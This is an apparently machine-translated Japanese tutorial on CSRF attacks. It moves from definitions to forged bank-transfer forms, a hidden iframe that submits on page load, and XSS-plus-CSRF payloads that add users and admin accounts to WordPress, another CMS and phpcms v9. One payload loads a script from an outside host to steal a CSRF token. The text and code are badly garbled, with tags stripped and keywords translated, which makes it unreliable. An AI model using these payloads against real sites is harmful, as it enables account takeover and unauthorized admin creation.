0x01 CSRF定義
CSRF(クロスサイトリクエスト偽造)、中国語名:クロスサイトリクエスト偽造、知られている:ワンクリック攻撃/セッションライディング、略語:CSRF/XSRF。クロスサイトスクリプトXSSのように聞こえますが、サイト内の信頼できるユーザーを悪用するXSSとは大きく異なりますが、CSRFは信頼できるユーザーからの要求を装って信頼できるWebサイトを悪用します。 XSS攻撃と比較して、CSRF攻撃はあまり人気が低く(したがって、それらを防ぐためのリソースがかなり少ない)、予防が困難であるため、XSSよりも危険であると考えられています。
0x02 CSRFハザード
攻撃者はあなたの身元を盗み、あなたの名前で悪意のあるリクエストを送信しました。 CSRFにできること:電子メールの送信、メッセージの送信、アカウントの盗み、さらには商品の購入、仮想通貨からの送金.問題が発生した問題:個人のプライバシー漏れと不動産セキュリティが含まれます。
0x03 CSRF脆弱性の原因
CSRFの脆弱性の原因は、ブラウザでWebサイトのCookieが期限切れにならないことです。このウェブサイトにアクセスする限り、ブラウザがクローズまたはログアウトしていない限り、デフォルトでログインしたステータスになります。この期間中、攻撃者は、作成されたCSRFスクリプトまたはCSRFスクリプトを含むリンクを送信します。この操作は、ユーザーが実際に実行したいものではありません。
0x04
CSRFとXSS XSSの違い:
攻撃者は、XSSの脆弱性——コンストラクトコード——被害者に送られた——被害者を発見しました——攻撃者が被害者のCookie ——を取得して攻撃を完了しました
CSRF:
攻撃者は、CSRFの脆弱性——コンストラクトコード——被害者に送信された——被害者に——人を開設し、攻撃を完了するためにコード——を実行したことを発見しました
0x05
CSRFの原則次の図は、CSRF攻撃のアイデアを簡単に説明しています。
上記の図からわかるように、CSRF攻撃を完了するには、被害者は次の2つのステップを完了する必要があります。
1.信頼できるWebサイトAにログインし、Cookieをローカルで生成します。
2。ログアウトすることなく、危険なウェブサイトBにアクセスしてください。
上記の2つの条件のいずれかが満たされていない場合、CSRFに攻撃されません。はい、それは本当ですが、次の状況が起こらないことを保証することはできません。
1. Webサイトにログインした後、タブページを開いて別のWebサイトにアクセスしなくなることを保証することはできません。
2。ブラウザを閉じた後、地元のCookieがすぐに期限切れになり、最後のセッションが終了したことを保証することはできません。 (実際、ブラウザを閉じることはセッションを終了することはできませんが、ほとんどの人はブラウザを閉じることはログアウト/エンドセッションと同等であると誤って信じています.)
3.上の写真のいわゆる攻撃のウェブサイトは、他の脆弱性を備えた信頼できる頻繁に訪問されるウェブサイトである可能性があります。
0x06
CSRF攻撃の例
(1).getタイプcsrf
銀行WebサイトA。これは、GETリクエストを使用して、http://www.mybank.com/transfer.php?tobankid=11money=1000などの銀行譲渡事業を完了します。
次に、短いファイルでURLリンクを相手に送信します。それが被害者に送られている限り、それはトリガーされます
https://0x9.me/m5beh
(2).post-type csrf
上記の問題を排除するために、銀行は譲渡操作を完了するためにPOSTリクエストを使用することを決定しました。
銀行のウェブサイトAのWebフォームは次のとおりです。
format='transfer.php'method=' post '
ptobankid:inputtype='text'name=' tobankid '//p
pmoney:inputtype='text'name=' money '//p
pinputType='submit'Value='転送'//p
/形状
バックグラウンド処理ページTransfer.phpは次のとおりです。
?php
session_start();
if(Isset($ _ request ['tobankid'] isset($ _ request ['money']))
{
buy_stocks($ _ request ['tobankid']、$ _request ['money']);
}
?
上記のフォームを偽造してBk.htmlとして保存することにより、Bk.htmlをhttp://www.backlion.org/bk.htmlの下に置くと、URLをクリックするだけで転送がトリガーされます。
(3)最初の2つの痛みを伴うレッスンの後、銀行は要求されたデータを取得する方法を変更することを決定し、$ _POSTを使用して、POSTで要求されたデータのみを取得します。バックグラウンド処理ページTransfer.phpコードは次のとおりです。
?php
session_start();
if(isset($ _ post ['tobankid'] isset($ _ post ['money']))
{
buy_stocks($ _ post ['tobankid']、$ _post ['money']);
}
?
ただし、偽造フォームは同時に変更できます。
HTML
頭
scriptType='text/javascript'
functionsteal()
{
iframe=document.frames ['steal'];
iframe.document.submit( '転送');
}
/スクリプト
/頭
bodyonload='steal()'
iframename='steal'display=' none '
formmethod='post'name='転送'アクション=' http://ww.mybank.com/transfer.php '
inputtype='hidden'name=' tobankid'value='11 '
inputtype='hidden'name=' money'value='1000'
/形状
/iframe
/体
/HTML
上記の3つの例を要約するために、CSRFの主な攻撃モードは基本的に上記の3つであり、そのうち1番目と2番目が最も深刻であり、トリガー条件は非常に単純であり、URL接続で十分であるため、3番目のタイプはよりトラブルであり、javaScriptを必要とするため、以前のものよりもはるかに低くなります。ただし、いずれにせよ、CSRF攻撃がトリガーされている限り、結果は非常に深刻な場合があります。
上記の3つの攻撃モードを理解すると、CSRF攻撃がWebの暗黙的な認証メカニズムに由来することが実際にわかります。 Webの認証メカニズムは、リクエストがユーザーのブラウザからのものであることを保証できますが、リクエストがユーザーによって承認されることを保証することはできません。
0x07
CSRF実用的な例
(1)。ポスト
のCSRFの実用的な例最初にターゲットサイトを見つけます。 CSRFの害は、主に操作を実行できる場所に存在します。次に、私が構築した環境でログインした後、ページをテストします。
環境はWordPress環境です。公式ウェブサイトで直接ダウンロードできます
テストのためにユーザーインターフェイスを選択しましたが、現在1人のユーザーしかいないことがわかります
次に、ユーザーを追加します
げっぷを使用してカットします
Burpの独自のプラグインを使用して、CSRFを利用します
使用できるCSRF.htmlを生成します
ラベル内の値を変更して、追加されたユーザーが繰り返し追加できないようにします。
ブラウザで試してみてください
キーを実行した後、通常の手段で参加した元の最初のユーザーとユーザーに加えて、新しいtest1ユーザーが追加されたことがわかりました。このユーザーは、CSRFを使用して写真の送信をクリックして実行する操作です。テストはページを変更せず、直接連絡したためです。攻撃者がJSを使用してユーザーに直接トリガーできる場合、対応するページが開かれている限り、この動作は実行されます。
(2).combination csrf+xss
の使用率人々がHTMLを悪用するのは容易ではなく、脆弱性のトリガーは複雑であるため、このトリガー方法をシンプルにする方法を見つけます。
XSSの脆弱性を使用して、CSRFの脆弱性をトリガーし、ユーザーが追加した操作を完了します。
最初に送信されたパケットのコンテンツを理解する必要があります
上記のXSSプラットフォームを開き、CSRFプロジェクトを作成します。コードを書きましょう
Span Data-Wiz-Span='Data-Wiz-Span' Style='Font-Style:
普通; font-size: 0.875Rem; font-family: Microsoft yahei; Color: RGB(51、51、51); background-color: RGB(255、255、
255); 'var xmlhttp;
if(window.xmlhttprequest){
xmlhttp=new
xmlhttprequest();
}それ以外{
xmlhttp=new
ActiveXObject( 'microsoft.xmlhttp');
}
xmlhttp.open( 'post'、 'http://www.backlion.org/wordpress/wp-admin/user-new.php'、true);
xmlhttp.setRequestheader( 'content-type'、 'application/x-www-form-urlencoded');
xmlhttp.send( 'action=createuser_wponce ..');
//ここで投稿データを入力すると、ユーザー名とパスワード /スパンを変更する必要があります
このコードをプロジェクトのコード構成に貼り付けます
次に、メッセージ内の保存されたXSSの脆弱性を介して、利用可能なコードをターゲットサイトに保存します
メッセージが成功した後の効果は次のとおりです
管理者がメッセージをチェックすると、危険なコードを実行し、ユーザーを追加するリクエストを送信します
test2ユーザーはユーザーリストを表示した後に正常に追加されました
この時点で、CSRFの攻撃例はほぼ完了していると言えます。将来、自分でそれを掘り下げなければなりません。
(3)。 Ajaxを使用して、CSRF攻撃のXSSを組み合わせます
攻撃効果を達成するために、CSRFのAJAX要求をXSSに入れることです
テストに使用されるこのCMSの掲示板には、ストレージXSSの脆弱性があります。
ここでは、csrftesterを使用してAjaxを生成できます
Ajaxの中核部分を見ることができます
単純なAjaxを自分で書くこともできます
Span Data-Wiz-Span='Data-Wiz-Span' Style='Font-Style:
普通; font-size: 0.875Rem; font-family: Microsoft yahei; Color: RGB(51、51、51); background-color: RGB(255、255、
255); 'var xmlhttp;
if(window.xmlhttprequest){
xmlhttp=new
xmlhttprequest();
}それ以外{
xmlhttp=new
ActiveXObject( 'microsoft.xmlhttp');
}
xmlhttp.open( 'post'、 'http://192.168.109:99/admin/admin_manage.asp?act=add'、true);
xmlhttp.setRequestheader( 'content-type'、 'application/x-www-form-urlencoded');
xmlhttp.send( 'admin=789password=789password3=789button=data');/span
XSSプラットフォームでプロジェクトを構成します
次に、テストWebサイトの掲示板に挿入します
管理者は、メッセージ情報を確認して管理者アカウントを追加できます
(4).phpcmsv9反射性XSSからCSRF
に管理者アカウントを追加しますPHPCMS V9は、PHP5+MySQLを技術的な基盤として使用して開発されたPHPオープンソースコンテンツ管理システムです。現在、多くの業界ポータル、地元のポータル、政府機関などがこのCMSを使用しているか、二次開発を行っています。
PC_HASHの値は、CSSRF防御を実行するためにバックグラウンドで使用されるトークンです。 XSSの脆弱性を前景で発見できる場合、PC_HASH(CSRFトークン)を簡単に取得でき、CSRFの脆弱性をトリガーできます。
反射性XSSを探しています
\ phpcms \ modules \ admin \ plugin.php file public_appcenter_ajx_detail関数(411行にあります)。
/**
*
非同期通話の詳細
*
ここに説明を入力してください.
*/
公共
function public_appcenter_ajx_detail(){
$ id=intval($ _ get ['id']);
$ data=file_get_contents( 'http://open.phpcms.cn/index.php?m=openc=apia=get_detail_byappidid='。$ id);
//$ data=json_decode($ data、true);
echo $ _get ['jsoncallback']。 '('、$ data、 ')';
出口;
}
$ _get ['jsoncallback']は、フィルタリングせずにページに直接出力されます。これは反射的なXSS脆弱性です。
/index.php?m=adminc=plugina=public_appcenter_ajx_detailjsoncallback=script
src=http://www.xsser.com/xss.js/script
反射性XSSを使用して、PC_HASH値を取得します
PC_HASHとXSSの脆弱性により、ユーザーが攻撃者の慎重に構築されたボタンをクリックする限り、攻撃者は攻撃を開始できます。
管理者の権限を追加するためにユーザーを構築するには、最初にadmin_manage_codeを取得する必要があります。
XSSプラットフォームを使用して、CSRF攻撃を起動します
var request=false;
if(window.xmlhttprequest){
リクエスト
=new xmlhttprequest();
もし
(Request.OverRideMimeType){
request.overridemimeType( 'text/xml')
}
} else if(window.activexobject){
var
バージョン=['microsoft.xmlhttp'、 'msxml.xmlhttp'、 'microsoft.xmlhttp'、 'msxml2.xmlhttp.7.0'、
'msxml2.xmlhttp.6.0'、 'msxml2.xmlhttp.5.0'、 'msxml2.xmlhttp.4.0'、 'msxml2.xmlhttp.3.0'、
'msxml2.xmlhttp'];
のために
(var i=0; i versions.length; i ++){
試す {
リクエスト
=new ActiveXObject(バージョン[i])
} catch(e){}
Recommended Comments